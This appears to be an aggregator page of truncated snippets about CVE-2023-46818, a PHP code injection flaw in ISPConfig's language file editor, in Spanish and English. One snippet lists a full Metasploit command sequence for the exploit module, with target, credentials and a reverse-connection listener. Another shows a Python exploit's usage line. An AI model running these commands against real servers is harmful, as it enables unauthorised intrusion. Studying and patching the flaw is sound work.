CVE-2023-46818

Metasploit-module Módulo de Metasploit root@kitploit: use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit Se descubrió un problema en ISPConfig anterior a 3.2.11p1. Se puede lograr una inyección ...

CVE-2023-46818

CVE-2023-46818 Se descubrió un problema en ISPConfig anterior a 3.2.11p1. Se puede lograr la inyección de código PHP en el editor de archivos de idioma por parte de un administrador si adminallowlangedit está habilitado. Uso root@kitploit: ❯ python3 CVE-2023-46818.py Usage: python3...

CVE-2023-46818

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled...

Code injection

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled...

CVE-2023-46818

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled...

CVE-2023-46818

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled...

PT-2023-30234 · Ispconfig · Ispconfig

Name of the Vulnerable Software and Affected Versions: ISPConfig versions prior to 3.2.11p1 Description: An issue was discovered that allows PHP code injection in the language file editor by an admin if admin allow langedit is enabled. This issue can be exploited to achieve PHP code injection...